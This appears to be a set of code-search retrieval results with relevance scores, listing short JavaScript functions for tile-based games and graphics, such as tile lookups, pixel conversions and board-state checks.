[ { "docid": "251c65cea66678a8271b372a112d3b72", "score": "0.7147474", "text": "function valueForTile($tile) {\n var index = $tile.data('index');\n return values[index];\n}", "title": "" }, { "docid": "7b342546783894b4f31c74e0ebd4ea66", "score": "0.68396664", "text": "function GetTileNumber(tile) {\n\tvar t = tile.type;\n\tif (t == EMPTY || t == OTHER)\n\t{\n\t\ttile.tNumber = 0;\n\t\treturn;\n\t}\n\tvar x = tile.x;\n\tvar y = tile.y;\n\t\n\tif (t == FLOOR)\n\t{\n\t\tvar tNumA = MtTyp(x, y-1, t, 1) + MtTyp(x+1, y-1, t, 2) + MtTyp(x+1, y, t, 4) + MtTyp(x+1, y+1, t, 8) + \n\t\t\tMtTyp(x, y+1, t, 16) + MtTyp(x-1, y+1, t, 32) + MtTyp(x-1, y, t, 64) + MtTyp(x-1, y-1, t, 128);\n\t\ttile.tNumber = T_NUM_FIX[tNumA];\n\t\treturn;\n\t}\n\telse if (t == WALL)\n\t{\n\t\ttile.tNumber = MtTyp(x, y-1, t, 1) + MtTyp(x+1, y, t, 2) + MtTyp(x, y+1, t, 4) + MtTyp(x-1, y, t, 8);\n\t\treturn;\n\t}\n\ttile.tNumber = 0;\n\treturn; // Unknown\n}", "title": "" }, { "docid": "7b342546783894b4f31c74e0ebd4ea66", "score": "0.68396664", "text": "function GetTileNumber(tile) {\n\tvar t = tile.type;\n\tif (t == EMPTY || t == OTHER)\n\t{\n\t\ttile.tNumber = 0;\n\t\treturn;\n\t}\n\tvar x = tile.x;\n\tvar y = tile.y;\n\t\n\tif (t == FLOOR)\n\t{\n\t\tvar tNumA = MtTyp(x, y-1, t, 1) + MtTyp(x+1, y-1, t, 2) + MtTyp(x+1, y, t, 4) + MtTyp(x+1, y+1, t, 8) + \n\t\t\tMtTyp(x, y+1, t, 16) + MtTyp(x-1, y+1, t, 32) + MtTyp(x-1, y, t, 64) + MtTyp(x-1, y-1, t, 128);\n\t\ttile.tNumber = T_NUM_FIX[tNumA];\n\t\treturn;\n\t}\n\telse if (t == WALL)\n\t{\n\t\ttile.tNumber = MtTyp(x, y-1, t, 1) + MtTyp(x+1, y, t, 2) + MtTyp(x, y+1, t, 4) + MtTyp(x-1, y, t, 8);\n\t\treturn;\n\t}\n\ttile.tNumber = 0;\n\treturn; // Unknown\n}", "title": "" }, { "docid": "6c203fa7a59c50a5aad0de29e2f2ed70", "score": "0.64928687", "text": "function tileToPixel(tile)\n{\n\treturn tile * TILE;\n}", "title": "" }, { "docid": "cf93440d73ef55e79d25dbe8f3b18b00", "score": "0.6213262", "text": "getTileX(){\n return this.x / TILESIZE;\n }", "title": "" }, { "docid": "45eb735d5aee33f391dfb7e66733cad4", "score": "0.61870146", "text": "function getTile(level, x, y){\n\tlet tile = level[y][x];\n\treturn (tile.obj || tile.ground) || 0;\n}", "title": "" }, { "docid": "2dc89863939d3db61afa69ca5a6a59c8", "score": "0.61862564", "text": "function get_tile_pixel( tile, l, c, base )\n {\n var b0, b1, idx, pix;\n\n if ( !base )\n {\n base = emu.lcd_tile_data;\n }\n\n if ( base == 0x9000 && ( tile & 0x80 ) )\n {\n tile |= ~0xFF;\n }\n\n idx = base + ( tile << 4 ) + ( l << 1 );\n b0 = emu.ram[ idx ];\n b1 = emu.ram[ idx + 1];\n\n pix = 0x00;\n pix |= ( ( b0 & ( 1 << c ) ) >> c ) << 0;\n pix |= ( ( b1 & ( 1 << c ) ) >> c ) << 1;\n\n return pix;\n }", "title": "" }, { "docid": "415eb6b859fc04099c3523675f22bf10", "score": "0.6161504", "text": "function getTile(x, y)\n{\n // if not past any borders, return normal value of this tile\n if (0 <= x && x <= maxX && 0 <= y && y <= maxY)\n return game[x][y];\n\n // otherwise we need to go to other side of board\n var realX = x;\n var realY = y;\n if (x == -1)\n realX = maxX;\n else if (x == gameSizeX)\n realX = 0;\n if (y == -1)\n realY = maxY;\n else if (y == gameSizeY)\n realY = 0;\n\n return game[realX][realY];\n}", "title": "" }, { "docid": "030806ec2a5202452fb7cd002bc6ee93", "score": "0.60898", "text": "getTileHeight() {\n return this.json.tileheight;\n }", "title": "" }, { "docid": "d6734d138da40dbe5ac353cac800685c", "score": "0.60742813", "text": "function ud(x){ return tile_size*x; } // convert tile units to pixel units (unit diference)", "title": "" }, { "docid": "5bd8acf707c1ce5ecf3ed97cd90c4c02", "score": "0.60181785", "text": "function getCol(tile) {\n\t\treturn parseInt(tile.style.left) / 100 + 1;\n\t}", "title": "" }, { "docid": "011c7d67f70ee907d2b1ba1c4b7564d6", "score": "0.60093683", "text": "function getRow(tile) {\n\t\treturn parseInt(tile.style.top) / 100 + 1;\n\t}", "title": "" }, { "docid": "54366eba703260eb0c8320d541ff2b5a", "score": "0.60035366", "text": "getColVal() {\n return Math.floor(Math.random() * 256);\n }", "title": "" }, { "docid": "5e69cff2d5bfe73750e6606bf3ecee42", "score": "0.60008276", "text": "get tileHeight() {\n return this._tileSize.height;\n }", "title": "" }, { "docid": "c1de16c212bed3135c4abd6b8d25c255", "score": "0.5963913", "text": "function height(tile)\n { \n var scale = Math.pow(2, coord.z - tile.z);\n return Math.ceil(scale * tileSize.h)+'px'; \n }", "title": "" }, { "docid": "431c495d496b86d0152b57a8dcb41c1b", "score": "0.59470177", "text": "getTileWidth() {\n return this.json.tilewidth;\n }", "title": "" }, { "docid": "3a6691e5d8d669b12e6a512ca26a52df", "score": "0.592079", "text": "get tileHeight() {\n return this._tileHeight\n }", "title": "" }, { "docid": "971ea87ed487d97d96eeef16ff769056", "score": "0.58261263", "text": "tileColor(x, y){\n\t\tlet element = this.onTile(x, y);\n\t\tif(element != null){\n\t\t\treturn element.iColor; \n\t\t} else {\n\t\t\treturn this.tilePolarity(x, y) ? this.grassColor : this.seaColor;\n\t\t}\n\t}", "title": "" }, { "docid": "c05219530348c78e52065eba9cd46d48", "score": "0.5798503", "text": "function t(o,e){if(o.priority-e.priority)return o.priority-e.priority;const t=o.tile.key,i=e.tile.key;return t.world-i.world?t.world-i.world:t.level-i.level?t.level-i.level:t.row-i.row?t.row-i.row:t.col-i.col?t.col-i.col:o.xTile-e.xTile?o.xTile-e.xTile:o.yTile-e.yTile}", "title": "" }, { "docid": "416915f3d57ed6d2889f220b49cd0257", "score": "0.57810974", "text": "backgroundTileMapDisplayAddr() {\n if ((this.RawValue & 0x08) === 0x08) { // flag is on\n return 0x9C00; // endAddr = 0x9FFF\n }\n else {\n return 0x9800; // endAddr = 0x9BFF\n }\n }", "title": "" }, { "docid": "e0317cf19fdbb75786ddeb4135cadd38", "score": "0.577463", "text": "function getTile(e) {\n var g = grid();\n var regExp = new RegExp(gm.tileRegexp());\n for (var i = 0; i < g.length; i++) {\n if (e) {\n var isInside = ((g[i][0] <= e.y) &&\n ((g[i][0] + 256) > e.y) &&\n (g[i][1] <= e.x) &&\n ((g[i][1] + 256) > e.x));\n if(isInside && regExp.exec(g[i][2].src)) {\n return g[i][2];\n }\n }\n }\n return false;\n }", "title": "" }, { "docid": "e0317cf19fdbb75786ddeb4135cadd38", "score": "0.577463", "text": "function getTile(e) {\n var g = grid();\n var regExp = new RegExp(gm.tileRegexp());\n for (var i = 0; i < g.length; i++) {\n if (e) {\n var isInside = ((g[i][0] <= e.y) &&\n ((g[i][0] + 256) > e.y) &&\n (g[i][1] <= e.x) &&\n ((g[i][1] + 256) > e.x));\n if(isInside && regExp.exec(g[i][2].src)) {\n return g[i][2];\n }\n }\n }\n return false;\n }", "title": "" }, { "docid": "2661c90f517e7c562085bc35a6b595aa", "score": "0.57536274", "text": "function getTile(e) {\n var g = grid();\n for (var i = 0; i < g.length; i++) {\n if (e)\n if ((g[i][0] < e.y) &&\n ((g[i][0] + 256) > e.y) &&\n (g[i][1] < e.x) &&\n ((g[i][1] + 256) > e.x)) return g[i][2];\n }\n return false;\n }", "title": "" }, { "docid": "2661c90f517e7c562085bc35a6b595aa", "score": "0.57536274", "text": "function getTile(e) {\n var g = grid();\n for (var i = 0; i < g.length; i++) {\n if (e)\n if ((g[i][0] < e.y) &&\n ((g[i][0] + 256) > e.y) &&\n (g[i][1] < e.x) &&\n ((g[i][1] + 256) > e.x)) return g[i][2];\n }\n return false;\n }", "title": "" }, { "docid": "9214c696f3dadc09b3a8f5ad0e4c8657", "score": "0.56982404", "text": "function getTileCoordinates(tile) {\n var row = parseInt(tile.attr('data-row')),\n col = parseInt(tile.attr('data-col'));\n return [row, col];\n}", "title": "" }, { "docid": "3bbf1fe219133413c816602682631183", "score": "0.56963253", "text": "function getButtonTileNumber(buttonIndex) \n\t{\n\t return _buttonToTileMap[buttonIndex];\n\t}", "title": "" }, { "docid": "abea20eaa28ee638552f051f775803ca", "score": "0.56922764", "text": "function tileValues(val){\n\treturn $(\"#\"+val).text();\n}", "title": "" }, { "docid": "640b6db23748f6dc54a620d454a3dfcd", "score": "0.5681087", "text": "function Tile(position, value){\n this.x = position.x;\n this.y = position.y;\n this.value = value || 2;\n}", "title": "" }, { "docid": "ab8a13ca9a27d08cc9c9ca99c624c618", "score": "0.56311923", "text": "function getTile(x, y) {\n if(outOfBounds(x, y)) {\n return -1;\n } else {\n return tiles[y][x];\n }\n }", "title": "" }, { "docid": "fc7465f241bcb60f1cedd6f3c8330fc6", "score": "0.5617642", "text": "get tileWidth() {\n return this._tileWidth\n }", "title": "" }, { "docid": "0cb3dc106d18ad8404246ee2825721c6", "score": "0.5607973", "text": "getSquareTileSidePixelLength() {\n return this.squareTileSidePixelLength;\n }", "title": "" }, { "docid": "78713fae194f33a42a3d7a06c67c08dc", "score": "0.56013143", "text": "getTile(row, column) {\n\t\tif ( row >= 0 \n\t\t\t && row < this.getNumOfRows() \n\t\t\t && column >= 0 \n\t\t\t && column < this.getNumOfColumns()\n\t\t) {\n\t\t\treturn this.mapArray[row][column];\n\t\t} else {\n\t\t\treturn \"off_grid\";\n\t\t}\n\t}", "title": "" }, { "docid": "6a436c869aad5c7a7cad0f7661e669be", "score": "0.5591802", "text": "function top(tile)\n { \n var scale = Math.pow(2, coord.z - tile.z),\n power = Math.pow(2, tile.z - roundCoord.z),\n centerRow = roundCoord.r * power;\n return Math.round(center.y + (tile.r - centerRow) * tileSize.h * scale) + 'px'; \n }", "title": "" }, { "docid": "20eb76477ca37840cbe7c029094356a6", "score": "0.5585526", "text": "function getTileColor(x, y) {\n\tif (highlightMask.length > 0 && highlightMask.length == boardState.length && highlightMask[0].length == boardState[0].length) {\n\t\tif (highlightMask[y][x] == true) return TILE_YELLOW;\n\t}\n\tif (y%2 == 0) {\n\t\tif (x%2 == 0) return TILE_RED; else return TILE_BLACK;\n\t} else {\n\t\tif (x%2 == 0) return TILE_BLACK; else return TILE_RED;\n\t}\n}", "title": "" }, { "docid": "c02c00a2ffc8bd8a28dccde81b6f3bd7", "score": "0.55783796", "text": "function t$2(o,e){if(o.priority-e.priority)return o.priority-e.priority;const t=o.tile.key,i=e.tile.key;return t.world-i.world?t.world-i.world:t.level-i.level?t.level-i.level:t.row-i.row?t.row-i.row:t.col-i.col?t.col-i.col:o.xTile-e.xTile?o.xTile-e.xTile:o.yTile-e.yTile}", "title": "" }, { "docid": "63ca892e551551c1222feae76a3a7a82", "score": "0.5576265", "text": "function getBox() {\n if (relX <= 116) { // column 1\n if (relY <= 133) { // row 1\n return 0;\n } else if (relY > 133 && relY <= 266) { // row 2\n return 3;\n } else { // row 3\n return 6;\n }\n } else if (relX > 116 && relX <= 224) { // column 2\n if (relY <= 133) { // row 1\n return 1;\n } else if (relY > 133 && relY <= 266) { // row 2\n return 4;\n } else { // row 3\n return 7;\n }\n } else { // column 3\n if (relY <= 133) { // row 1\n return 2;\n } else if (relY > 133 && relY <= 266) { // row 2\n return 5;\n } else { // row 3\n return 8;\n }\n }\n}", "title": "" }, { "docid": "ec62e52963e83395d8183885cb85c9ac", "score": "0.5573809", "text": "function map_get_tile_type(map, x, y) {\n var pos = map_get_tile_at(map, x, y);\n return map.tiles[pos.row][pos.col];\n}", "title": "" }, { "docid": "b6ba6db4bd9cd7cdd8858efd3a18e522", "score": "0.55628616", "text": "function valid_tile(row, col) {\r\n\t//Edges\r\n\tif(!(row >= 0 && row < 7 && col >= 0 && col < 7)){\r\n\t\treturn 0;\r\n\t}\r\n\t//Corners\r\n\tif((row === 0) && col === 0) {\r\n\t\t return 0;\r\n\t}\r\n\r\n\tif((row === 0) && col == 6) {\r\n\t\treturn 0;\r\n\t}\r\n\tif((row == 6) && col === 0) {\r\n\t\treturn 0;\r\n\t}\r\n\tif((row == 6) && col == 6) {\r\n\t\treturn 0;\r\n\t}\r\n\t\r\n\treturn 1;\r\n}", "title": "" }, { "docid": "27f8140baf274a511403cf13c5cdd574", "score": "0.55517197", "text": "function getTile(row, col) {\n return $(\"tile_\" + row + \"_\" + col);\n }", "title": "" }, { "docid": "180541020a258f331539bec484495cec", "score": "0.5548872", "text": "function checkCell() {\n var xMod = Math.floor(xPos / 30 + size / 2);\n var zMod = Math.floor(size - (zPos / 30 + size / 2));\n var cell = zMod * size + xMod;\n return cell;\n}", "title": "" }, { "docid": "5b7f41fc1b1e520fbf86393a04284b93", "score": "0.55419576", "text": "function getNeerestTileNum(){\n\t\tvar innerPos = -getInnerPos();\n\t\tvar numTiles = getNumTilesInSpace(innerPos);\n\t\tvar tile1Pos = g_functions.getElementSize(getTile(numTiles)).left;\n\t\tvar tile2Pos = g_functions.getElementSize(getTile(numTiles+1)).left;\n\t\t\t\t\n\t\tif(Math.abs(tile1Pos - innerPos) < Math.abs(tile2Pos - innerPos))\n\t\t\treturn(numTiles);\n\t\telse\t\t\t\n\t\t\treturn(numTiles+1);\n\t}", "title": "" }, { "docid": "f95e588ceaa35f897e7219a5db16ee27", "score": "0.55293155", "text": "function get_digit()\n{\n var digit;\n if (progress.during())\n {\n digit = { count: 6, pairs: 3, width: 3, height: 5 };\n }\n else\n {\n digit = { count: 8, pairs: 4, width: 3, height: 5 };\n }\n return digit;\n}", "title": "" }, { "docid": "7d13f03d331fa037c1c4902f37514c06", "score": "0.5527067", "text": "function cellAtPixelCoord(layer, x,y)\n{\n\tif ( x < 0 || x > ScREEN_WIDTH || y<0)\n\t\treturn 1;\n\t// let the player drop off the bottom of the screen (this means death)\n\tif ( y > SCREEN_HEIGHT)\n\t\treturn 0;\n\treturn cellAtTileCoord(layer. p2t(x), p2t(y));\n\t\n}", "title": "" }, { "docid": "7d08470b845e3b4bfb1ea444056f8792", "score": "0.5522273", "text": "get tileWidth() {\r\n return this._tileWidth;\r\n }", "title": "" }, { "docid": "091dd4fffdda260e3b50511593ca4872", "score": "0.5506073", "text": "function pixelToTile(pixel)\n{\n\treturn Math.floor(pixel/TILE);\n}", "title": "" }, { "docid": "1a1f58c6f420df5602cfe0d94d8628bb", "score": "0.55038786", "text": "getGreen() {\n return this.getNumber() >> 8 & 255;\n }", "title": "" }, { "docid": "01acae50d1c00208af07f90d887e2bc9", "score": "0.54948264", "text": "function getTile(e) {\n var g = grid();\n for (var i = 0; i < g.length; i++) {\n if ((g[i][0] < e.y) &&\n ((g[i][0] + tileSize) > e.y) &&\n (g[i][1] < e.x) &&\n ((g[i][1] + tileSize) > e.x)) return g[i][2];\n }\n return false;\n }", "title": "" }, { "docid": "27a08815fc02c54fb8254892f5057368", "score": "0.5490646", "text": "bitPlaneCount() {\n return this.native.bitPlaneCount();\n }", "title": "" }, { "docid": "96cb1e81c35013c159a8f35efa5f8d8d", "score": "0.5487051", "text": "function findTile(n, tiles) {\n for (let i = 0; i < 16; i++)\n if (tiles[i] === n) return i;\n}", "title": "" }, { "docid": "e2d9b022b7f675fb12120b5a08a0aa9f", "score": "0.5481012", "text": "function tileToPixel(x, y) {{{\n var retVal = {x: 0, y: 0};\n retVal.x = (x*32) - (y*32);\n retVal.y = (x*16) + (y*16);\n\n retVal.x += tileToPixelOffsetX;\n retVal.y += tileToPixelOffsetY;\n\n retVal.x -= pixelToTileOffsetX;\n retVal.y -= pixelToTileOffsetY;\n\n return retVal;\n}}}", "title": "" }, { "docid": "e069964cc6053f919254ce7cddbd8716", "score": "0.54772484", "text": "toString() {\n return this.tile;\n }", "title": "" }, { "docid": "14a584e92b9f5ebc9629c34d31366996", "score": "0.54638934", "text": "getRed() {\n return this.getNumber() >> 16;\n }", "title": "" }, { "docid": "26cd194799920de6f6961815c668fcf6", "score": "0.54573435", "text": "getCylinder() {\n return this.getByte(1);\n }", "title": "" }, { "docid": "e33fce6c13db6b2493d7791976b3bad5", "score": "0.54505897", "text": "function getCol(tile) {\n return parseInt(tile.id.split(\"_\")[2]);\n }", "title": "" }, { "docid": "b277c33e987e47a2d7e58d0aaede2975", "score": "0.54450756", "text": "getTilePixelImageSize() {\n\t\treturn (\n\t\tthis.terrainGridTiles.getSquareTileSidePixelLength() * this.drawScale\n\t\t);\n\t}", "title": "" }, { "docid": "9791495a4ae091501721f5138070fbb7", "score": "0.54340833", "text": "function getLastTile(){\n\t\t\n\t\treturn g_objInner.children(\".ug-thumb-wrapper\").last();\t\t\n\t}", "title": "" }, { "docid": "601aedf9ec51c808a1fa71ef526b7581", "score": "0.5433502", "text": "function typeTile(layerTwo, y, x) {\n return (layerTwo[y][x]);\n}", "title": "" }, { "docid": "a4ceeccfcee3ca28a9852cf9610a33b2", "score": "0.5432659", "text": "function n(t){return 255&(e.BIG_ENDIAN?t>>>24:t)}", "title": "" }, { "docid": "410799669d91feac2226e2a5dc0e10a0", "score": "0.54312295", "text": "function getTileSprite(type) {\n switch (type) {\n case 0:\n return \"empty\";\n case -1:\n return \"filled\";\n case -2:\n return \"cage\";\n case 2:\n return \"wormhole\";\n case 3:\n return \"wormhole\";\n case 9:\n return \"mist\";\n default:\n return null;\n }\n }", "title": "" }, { "docid": "c021d9dc6005213dfc979bccade0d678", "score": "0.54230666", "text": "getfg(x, y) {\n let i = y * this.width + x;\n return (i < this.nentries) ? this.fg[i] : 0;\n }", "title": "" }, { "docid": "e927d909fd34a2051dd0c91cbdad6c23", "score": "0.5414972", "text": "get pixelRect() {}", "title": "" }, { "docid": "a9a71dd9c77e84fd34704c34a3b64735", "score": "0.54044336", "text": "function calculateTileDimensions() {\n tileW = canvas.width / tiles.length;\n tileH = canvas.height / tiles[0].length;\n}", "title": "" }, { "docid": "38c2125781dbcb37e55da150e4aad7d4", "score": "0.53996897", "text": "function get_value(pixel){\n // Get the data value at the nearest pixel\n var [x,y] = pixel;\n var pixelData = canvas.getContext('2d')\n .getImageData(pixel[0], pixel[1], 1, 1)\n .data;\n var h = translator.height[pixelData[0]]\n var gx = translator.gx[pixelData[1]]\n var gy = translator.gy[pixelData[2]]\n return [h,gx,gy]\n}", "title": "" }, { "docid": "69d8db1208361bab8c98d0fa50a3ca82", "score": "0.5392896", "text": "getScaledSquareTilePixelLength() {\n\t return this.squareTileSidePixelLength * this.level.drawScale;\n }", "title": "" }, { "docid": "a4779c649383d025a6e464b2cf4842e4", "score": "0.5389971", "text": "function getValue(imageData, x, y, a) {\n let index = (x + y * imageData.width) * 4;\n return imageData.data[index + a];\n }", "title": "" }, { "docid": "a33e1a5c321f6d04fb4941381e8ff0ea", "score": "0.5388704", "text": "get_painting_value (numPaintings) {\n let values = [0, 4000, 12000, 30000, 60000, 100000, 150000, 200000, 300000, 400000, 500000]\n let value = values[numPaintings]\n return value\n }", "title": "" }, { "docid": "fe817d3485ab00a37ba8c340e7cff82c", "score": "0.5386791", "text": "get pixelHeight() {}", "title": "" }, { "docid": "45cb588d9b3b58abd4f91d38a01b9f25", "score": "0.53829634", "text": "static get TileSize() { return Level._tileSize; }", "title": "" }, { "docid": "fe73ed635ce4c7085705d07d8618a17b", "score": "0.5373552", "text": "function getPieceValue(piece) {\n /**\n * API Methods Needed:\n * piece.type ==> A single character representing the type of the piece\n * if piece.type === 'p': Piece is Pawn\n * piece.type === 'r': Rook\n * 'n': Knight\n * 'b': Bishop\n * 'q': Queen\n * 'k': King\n *\n * piece.color ==> A single character representing the color of the piece\n * if piece.color === 'w': Piece is White\n * if piece.color === 'b': Piece is Black\n *\n * Returns: The value of the piece, using the following rules:\n * 1. If the piece is white, return the positive value of the piece.\n * 2. If the piece is black, return the negative value of the piece.\n * 3. Each piece is worth the following value:\n * Pawn = 10\n * Knight, Bishop = 30\n * Rook = 50\n * Queen = 90\n * King = 900\n\n * Look at step-2/piece-values.png for a handy guide!\n */\n}", "title": "" }, { "docid": "eadd25a3f0e0a6bf646cf92783346c11", "score": "0.53668255", "text": "function getValue(row, column) {\n if (row < 0 || row > 2 || column < 0 || column > 2) {\n return;\n }\n return ticTacToeBoard[0][0];\n}", "title": "" }, { "docid": "7cdcd55b2164b3ec0d56c6ba1a8aeb69", "score": "0.5364382", "text": "function getValueAt(imageData, x, y ) {\n var index = (x + y * imageData.width) * 4;\n //console.log(index);\n var data = imageData.data;\n return (data[index] + data[index + 1] + data[index + 2]) / 3\n}", "title": "" }, { "docid": "80860b6e161d26f84f8a29cc0b60d6bf", "score": "0.5362285", "text": "function newTile() {\n let num = Math.random();\n return num < 0.1 ? 4 : 2;\n}", "title": "" }, { "docid": "ec28fda3fe7c823dcb7281c93d54cf03", "score": "0.5323395", "text": "function total(){\n let tot=0;\n for(var xx=0;xx<gameMap.height;xx++){\n for(var yy=0;yy<gameMap.width;yy++){\n tot+=gameMap._cells[xx][yy].haliteAmount;\n }\n }\n return tot;\n }", "title": "" }, { "docid": "bf83e1c42ca3209be0985523d3200dff", "score": "0.53230757", "text": "function map_get_tile_at(map, x, y) {\n var col = Math.floor(x / TILE_SIZE);\n var row = Math.floor(y / TILE_SIZE);\n return {row: row, col: col};\n}", "title": "" }, { "docid": "e82a781fd92dda720e8f03accf1471a1", "score": "0.531574", "text": "function isBorderTile(board, i, j) {\n\tif (board[i][j].value >= 0 || board[i][j].flag) return false;\n\tvar up = false, down = false, left = false, right = false;\n\tif (i == 1) up = true;\n\tif (i == board.length - 1) down = true;\n\tif (j == 1) left = true;\n\tif (j == board[1].length - 1) right = true;\n\treturn ((!up && board[i - 1][j].value >= 0) ||\n\t\t\t(!left && board[i][j - 1].value >= 0) ||\n\t\t\t(!down && board[i + 1][j].value >= 0) ||\n\t\t\t(!right && board[i][j + 1].value >= 0) ||\n\t\t\t(!up && !left && board[i - 1][j - 1].value >= 0) ||\n\t\t\t(!up && !right && board[i - 1][j + 1].value >= 0) ||\n\t\t\t(!down && !left && board[i + 1][j - 1].value >= 0) ||\n\t\t\t(!down && !right && board[i + 1][j + 1].value >= 0)\n\t\t );\n}", "title": "" }, { "docid": "4c8195f83f8748c3791920eb86eba9ba", "score": "0.5315297", "text": "get(x, y) {\n\t\tif (x < 0 || x >= this.canvas.width) return BLACK\n\t\tif (y < 0 || y >= this.canvas.height) return BLACK\n\t\treturn this.pixels[x + y * this.canvas.width]\n\t}", "title": "" }, { "docid": "44efc1e04658f4a4f74108ddacb5c714", "score": "0.5314891", "text": "function getBoardState(){\n\talltiles = [];\n\tboard.selectAll(\"rect\").each(function(d){alltiles[d.x + d.y*16] = this})\n\treturn \talltiles.map(function(d){return d.className.baseVal.includes(\"B\")})\n\t\t\t.map(function(d){return d ? \"B\" : \"W\";}).join(\"\");\n}", "title": "" }, { "docid": "de0772739f53d50f882c00e5f28293ec", "score": "0.5302104", "text": "isSolidTileAtXY(posx,posy){\n var y = Math.floor(posx/this.width);\n var x = Math.floor(posy/this.width);\n if(x>=0 && y>=0 && x<=18 && y<=18){\n var getMapValue = this.map[x][y];\n if( getMapValue==1 || getMapValue==2 || getMapValue ==4){\n return true;\n }\n else{\n return false;\n }\n }\n else{\n return false;\n }\n\n }", "title": "" }, { "docid": "82a5a1b6aa33002c180fa783e23fe95a", "score": "0.5301989", "text": "function getTile(tileRef){\n\treturn game.map.tiles[tileRef[1]][tileRef[0]];\n}", "title": "" }, { "docid": "edb5154b5fa9054b022b432c575c3fdd", "score": "0.5300412", "text": "function getBoardState() {\r\n\tfor (var i = 0; i < boardHeight/tileHeight; i++) {\r\n\t\tfor (var j = 0; j < boardWidth/tileWidth; j++) {\r\n\t\t\tvar tileAlive = $(\"#\" + i + \"_\" + j).hasClass(\"alive\");\r\n\t\t\tif (tileAlive) {\r\n\t\t\t\tboardState[i][j] = 1;\r\n\t\t\t} else {\r\n\t\t\t\tboardState[i][j] = 0;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "47d2b37b03ee55d2c14cacb95ea32dea", "score": "0.52954113", "text": "get size() {\n return this.m_tileCache.size;\n }", "title": "" }, { "docid": "cf85ddbeeb33d2d12507f6881edb8ed1", "score": "0.5290512", "text": "function getId(type, xVal, yVal){\n //console.log(\"Finding X: \" + xVal + \" Y: \" + yVal);\n if(type===\"tile\"){\n //Find Object in Memory\n for(var i=0; i < tileList.length; i++){\n if((xVal==tileList[i].realX)&&(yVal == tileList[i].realY)){\n return i;\n }\n }\n }\n console.log(\"XValue: \" + xVal + \" YValue: \" + yVal);\n alert(\"Something isn't right\");\n}", "title": "" }, { "docid": "2b0a3a6616d505807e3b0ca4f2088ac3", "score": "0.52894545", "text": "function tileBufferRectFor(depth) {\n\t\tvar pixbuf = g.tilePixbuf;\n\t\tvar maxpix = 0;\n\t\tvar stride = g.tileWidth*4;\n\t\tvar rect = [g.tileWidth, g.tileHeight, 0, 0];\n\t\tvar xmax = g.tileWidth;\n\t\tvar ymax = g.tileHeight;\n\n\t\tfor(var x = 0; x < xmax; x++){\n\t\t\tfor(var y = 0; y < ymax; y++){\n\t\t\t\tif(pixbuf[y*stride+x*4+3] > depth){\n\t\t\t\t\tif(rect[0] > x)\n\t\t\t\t\t\trect[0] = x;\n\t\t\t\t\tif(rect[1] > y)\n\t\t\t\t\t\trect[1] = y;\n\t\t\t\t\tif(rect[2] < x)\n\t\t\t\t\t\trect[2] = x;\n\t\t\t\t\tif(rect[3] < y)\n\t\t\t\t\t\trect[3] = y;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn rect;\n\t}", "title": "" }, { "docid": "c5ccea1132b76fcbd3e66bc0a5826a37", "score": "0.5288906", "text": "function getColour(nextTile) {\n var nextColour = nextTile;\n var colourMap = {\n 1: \"Red\",\n 2: \"Green\",\n 3: \"Blue\",\n 4: \"Yellow\",\n 5: \"Orange\",\n 6: \"Magenta\",\n 7: \"White\",\n 8: \"Violet\",\n 9: \"Cyan\",\n 10: \"Brown\",\n 11: \"Grey\",\n 12: \"Teal\",\n 13: \"DeepPink\",\n 14: \"GreenYellow\",\n 15: \"GoldenRod\",\n 16: \"IndianRed\",\n };\n return colourMap[nextColour];\n}", "title": "" }, { "docid": "04c51dbffa53327be19b84b1df0dd166", "score": "0.5282419", "text": "getPixelYCoordinate() {\n return map(this.y, -1, 1, height, 0);\n }", "title": "" }, { "docid": "f7b038ca0a50bbfe3f47d42081d85307", "score": "0.52748436", "text": "checkSurrounding(row,col, squares, isCountingFlags) {\n let mineCount = 0;\n // const squares = JSON.parse(JSON.stringify(this.state.squares));\n for(let i = row - 1; i <= row + 1; i++) {\n for(let j = col - 1; j <= col + 1; j++) {\n if(i >= 0 && i < this.state.height &&\n j >= 0 && j < this.state.width){\n if(isCountingFlags){\n if(squares[i][j].flagged){\n mineCount++;\n }\n } else {\n if(squares[i][j].value === 'M') {\n mineCount++;\n }\n }\n }\n }\n }\n return mineCount;\n }", "title": "" }, { "docid": "b3fba147a281ee506ab4c52a62da7948", "score": "0.5265693", "text": "function getHighlight(value)\n{\n\treturn 0.25+((196 & value)>>6)*0.25\n}", "title": "" }, { "docid": "b36bdc41f7fd8c9f356457eb34063349", "score": "0.5250755", "text": "function getValue(mazeX, mazeY, squareX, squareY)\n\t{\n\t\tlet value = board.levels[mazeY][mazeX][squareY * GRIDX + squareX];\n\t\treturn value;\n\t}", "title": "" }, { "docid": "cc22708d61d6f4adb9548880420d24d5", "score": "0.5241721", "text": "function getFirstTile(){\n\t\t\t\t\n\t\treturn g_objInner.children(\".ug-thumb-wrapper\").first();\n\t}", "title": "" }, { "docid": "cb1cd40505019d99cfac715fc12470b0", "score": "0.5236271", "text": "function resourceValue(board) {\n const flatResult = [].concat(...board);\n const trees = flatResult.filter(c => c === '|').length;\n const lumber = flatResult.filter(c => c === '#').length;\n\n return trees * lumber;\n}", "title": "" }, { "docid": "54092bec0901aa1f47669fe8a4820695", "score": "0.5235255", "text": "function getTileFromIndex(index){ //index refers to array index\n return board[index];\n}", "title": "" }, { "docid": "b0b1193d7702f450199d503a53cdad7e", "score": "0.52339137", "text": "function get_canvas_value() {\n var w = 50\n var h = 50\n var x = world.rover.pos.x\n var y = world.rover.pos.y\n var img = ctx.getImageData(x-w/2,y-h/2,w,h)\n return sum(img.data)\n}", "title": "" }, { "docid": "424ec3a77f66d7d4ddecefeaab7ae05b", "score": "0.52176285", "text": "function extractNumber() {\n if (index == 0) {\n generateNumbers();\n }\n var y = MT[index];\n y=y>>>0;\n var yy=(y/(2**11)) & 0x7fffffff;\n yy=yy>>>0;\n y ^= yy; // ((y >> 11) >>>0);\n y=y>>>0;\n y ^= (y << 7) & 0x9d2c5680;\n y=y>>>0;\n y ^= (y << 15) & 0xefc60000;\n y=y>>>0;\n yy=(y/(2**18)) & 0x7fffffff;\n y ^= yy; // (y >> 18);\n y=y>>>0;\n index = (index + 1) % 624;\n return y;\n}", "title": "" }, { "docid": "45a4e512b5dfa3c4528ec97199921751", "score": "0.5214341", "text": "function getRandTileNumber (){\n return Math.floor(Math.random() *(26 - 0 + 1) + 0 )\n} // this random generates number from 0-26 inclusive", "title": "" }, { "docid": "34fd67fa55af0b063cde92700af3201e", "score": "0.5208785", "text": "function getXPixel(val, graph, data) {\r\n\r\n return ((graph.width - 100 - xPadding) / getMaxX(data)) * val + (xPadding * 0.8);\r\n}", "title": "" 